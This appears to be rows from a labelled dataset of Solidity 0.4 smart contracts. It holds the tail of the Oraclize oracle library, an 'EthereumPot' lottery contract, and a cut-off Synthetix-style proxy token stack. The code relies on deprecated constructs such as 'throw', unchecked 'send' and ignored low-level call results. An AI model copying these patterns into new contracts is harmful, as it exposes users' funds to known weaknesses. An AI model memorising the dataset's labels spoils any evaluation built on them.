return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
_addr = _addr;
assembly {
_size := extcodesize(_addr)
}
_size = _size;
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3;
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
sessionKeyHash_bytes32 = sessionKeyHash_bytes32;
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(sha3(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(sha3(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = 1;
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) throw;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) throw;
_;
}
function matchBytes32Prefix(bytes32 content, bytes prefix) internal returns (bool){
bool match_ = true;
for (var i=0; i<prefix.length; i++){
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
bool checkok;
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
checkok = (sha3(keyhash) == sha3(sha256(context_name, queryId)));
if (checkok == false) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
checkok = matchBytes32Prefix(sha256(sig1), result);
if (checkok == false) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == sha3(commitmentSlice1, sessionPubkeyHash)){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
checkok = verifySig(sha256(tosign1), sig1, sessionPubkey);
if (checkok == false) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal returns (bytes) {
uint minLength = length + toOffset;
from = from;
if (to.length < minLength) {
throw;
}
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
hash = hash; v = v; r = r; s = s;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
}
contract EthereumPot is usingOraclize {
address public owner;
address[] public addresses;
address public winnerAddress;
mapping(address => uint) public balances;
uint[] public slots;
uint minBetSize = 0.01 ether;
uint public potSize = 0;
uint public amountWon;
uint public potTime = 300;
uint public endTime = now + potTime;
uint public totalBet = 0;
uint public random_number;
bool public locked = false;
event debug(string msg);
event debugInt(uint random);
event potSizeChanged(
uint _potSize
);
event winnerAnnounced(
address winner,
uint amount
);
event timeLeft(uint left);
function EthereumPot() public {
oraclize_setProof(proofType_Ledger);
owner = msg.sender;
}
function getBalance(address addr) constant returns(uint balance) {
return balances[addr];
}
function withdrawBalance() payable public {
if(balances[msg.sender] > 0) {
uint balance = balances[msg.sender];
balances[msg.sender] = 0;
if(!msg.sender.send(balance)) {
balances[msg.sender] += balance;
}
}
}
function __callback(bytes32 _queryId, string _result, bytes _proof) oraclize_randomDS_proofVerify(_queryId, _result, _proof)
{
if(msg.sender != oraclize_cbAddress()) throw;
random_number = uint(sha3(_result))%potSize + 1;
winnerAddress = findWinner(random_number);
uint total = potSize * minBetSize - 400000;
amountWon = total * 98 / 100 ;
uint fee = total - amountWon;
balances[winnerAddress] += amountWon;
balances[owner] += fee;
winnerAnnounced(winnerAddress, amountWon);
openPot();
}
function update() internal{
uint delay = 0;
bytes32 queryId = oraclize_newRandomDSQuery(delay, 10, 400000);
queryId = queryId;
}
function findWinner(uint random) constant returns (address winner) {
for(uint i = 0; i < slots.length; i++) {
if(random <= slots[i]) {
return addresses[i];
}
}
}
function joinPot() public payable {
if(now > endTime) throw;
if(locked) throw;
uint tickets = 0;
for(uint i = msg.value; i >= minBetSize; i-= minBetSize) {
tickets++;
}
if(tickets > 0) {
addresses.push(msg.sender);
slots.push(potSize += tickets);
totalBet+= tickets;
potSizeChanged(potSize);
timeLeft(endTime - now);
}
}
function getPlayers() constant public returns(address[]) {
return addresses;
}
function getSlots() constant public returns(uint[]) {
return slots;
}
function getEndTime() constant public returns (uint) {
return endTime;
}
function openPot() internal {
potSize = 0;
endTime = now + potTime;
timeLeft(endTime - now);
delete slots;
delete addresses;
locked = false;
}
function rewardWinner() public payable {
if(now < endTime) throw;
if(locked && now < (endTime + potTime)) throw;
locked = true;
if(potSize > 0) {
if(addresses.length == 1) {
endTime = now + potTime;
timeLeft(endTime - now);
locked = false;
}
else {
update();
}
}
else {
winnerAnnounced(0x0000000000000000000000000000000000000000, 0);
openPot();
}
}
} | 0 | 2,199 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeDecimalMath {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
uint public constant UNIT = 10 ** uint(decimals);
uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals);
function unit()
external
pure
returns (uint)
{
return UNIT;
}
function preciseUnit()
external
pure
returns (uint)
{
return PRECISE_UNIT;
}
function multiplyDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(y) / UNIT;
}
function _multiplyDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
function multiplyDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
function multiplyDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, UNIT);
}
function divideDecimal(uint x, uint y)
internal
pure
returns (uint)
{
return x.mul(UNIT).div(y);
}
function _divideDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
function divideDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, UNIT);
}
function divideDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
function decimalToPreciseDecimal(uint i)
internal
pure
returns (uint)
{
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
function preciseDecimalToDecimal(uint i)
internal
pure
returns (uint)
{
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
}
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner)
public
{
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner)
external
onlyOwner
{
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership()
external
{
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner
{
require(msg.sender == owner, "Only the contract owner may perform this action");
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
contract SelfDestructible is Owned {
uint public initiationTime;
bool public selfDestructInitiated;
address public selfDestructBeneficiary;
uint public constant SELFDESTRUCT_DELAY = 4 weeks;
constructor(address _owner)
Owned(_owner)
public
{
require(_owner != address(0), "Owner must not be the zero address");
selfDestructBeneficiary = _owner;
emit SelfDestructBeneficiaryUpdated(_owner);
}
function setSelfDestructBeneficiary(address _beneficiary)
external
onlyOwner
{
require(_beneficiary != address(0), "Beneficiary must not be the zero address");
selfDestructBeneficiary = _beneficiary;
emit SelfDestructBeneficiaryUpdated(_beneficiary);
}
function initiateSelfDestruct()
external
onlyOwner
{
initiationTime = now;
selfDestructInitiated = true;
emit SelfDestructInitiated(SELFDESTRUCT_DELAY);
}
function terminateSelfDestruct()
external
onlyOwner
{
initiationTime = 0;
selfDestructInitiated = false;
emit SelfDestructTerminated();
}
function selfDestruct()
external
onlyOwner
{
require(selfDestructInitiated, "Self destruct has not yet been initiated");
require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed");
address beneficiary = selfDestructBeneficiary;
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
event SelfDestructTerminated();
event SelfDestructed(address beneficiary);
event SelfDestructInitiated(uint selfDestructDelay);
event SelfDestructBeneficiaryUpdated(address newBeneficiary);
}
contract State is Owned {
address public associatedContract;
constructor(address _owner, address _associatedContract)
Owned(_owner)
public
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
function setAssociatedContract(address _associatedContract)
external
onlyOwner
{
associatedContract = _associatedContract;
emit AssociatedContractUpdated(_associatedContract);
}
modifier onlyAssociatedContract
{
require(msg.sender == associatedContract, "Only the associated contract can perform this action");
_;
}
event AssociatedContractUpdated(address associatedContract);
}
contract TokenState is State {
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
public
{}
function setAllowance(address tokenOwner, address spender, uint value)
external
onlyAssociatedContract
{
allowance[tokenOwner][spender] = value;
}
function setBalanceOf(address account, uint value)
external
onlyAssociatedContract
{
balanceOf[account] = value;
}
}
contract Proxy is Owned {
Proxyable public target;
bool public useDELEGATECALL;
constructor(address _owner)
Owned(_owner)
public
{}
function setTarget(Proxyable _target)
external
onlyOwner
{
target = _target;
emit TargetUpdated(_target);
}
function setUseDELEGATECALL(bool value)
external
onlyOwner
{
useDELEGATECALL = value;
}
function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4)
external
onlyTarget
{
uint size = callData.length;
bytes memory _callData = callData;
assembly {
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
function()
external
payable
{
if (useDELEGATECALL) {
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
} else {
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) { revert(free_ptr, returndatasize) }
return(free_ptr, returndatasize)
}
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
contract Proxyable is Owned {
Proxy public proxy;
address messageSender;
constructor(address _proxy, address _owner)
Owned(_owner)
public
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address _proxy)
external
onlyOwner
{
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setMessageSender(address sender)
external
onlyProxy
{
messageSender = sender;
}
modifier onlyProxy {
require(Proxy(msg.sender) == proxy, "Only the proxy can call this function");
_;
}
modifier optionalProxy
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
_;
}
modifier optionalProxy_onlyOwner
{
if (Proxy(msg.sender) != proxy) {
messageSender = msg.sender;
}
require(messageSender == owner, "This action can only be performed by the owner");
_;
}
event ProxyUpdated(address proxyAddress);
}
contract ReentrancyPreventer {
bool isInFunctionBody = false;
modifier preventReentrancy {
require(!isInFunctionBody, "Reverted to prevent reentrancy");
isInFunctionBody = true;
_;
isInFunctionBody = false;
}
}
contract TokenFallbackCaller is ReentrancyPreventer {
function callTokenFallbackIfNeeded(address sender, address recipient, uint amount, bytes data)
internal
preventReentrancy
{
uint length;
assembly {
length := extcodesize(recipient)
}
if (length > 0) {
recipient.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", sender, amount, data));
}
}
}
contract ExternStateToken is SelfDestructible, Proxyable, TokenFallbackCaller {
using SafeMath for uint;
using SafeDecimalMath for uint;
TokenState public tokenState;
string public name;
string public symbol;
uint public totalSupply;
uint8 public decimals;
constructor(address _proxy, TokenState _tokenState,
string _name, string _symbol, uint _totalSupply,
uint8 _decimals, address _owner)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
public
{
tokenState = _tokenState;
name = _name;
symbol = _symbol;
totalSupply = _totalSupply;
decimals = _decimals;
}
function allowance(address owner, address spender)
public
view
returns (uint)
{
return tokenState.allowance(owner, spender);
}
function balanceOf(address account)
public
view
returns (uint)
{
return tokenState.balanceOf(account);
}
function setTokenState(TokenState _tokenState)
external
optionalProxy_onlyOwner
{
tokenState = _tokenState;
emitTokenStateUpdated(_tokenState);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
require(to != address(0), "Cannot transfer to the 0 address");
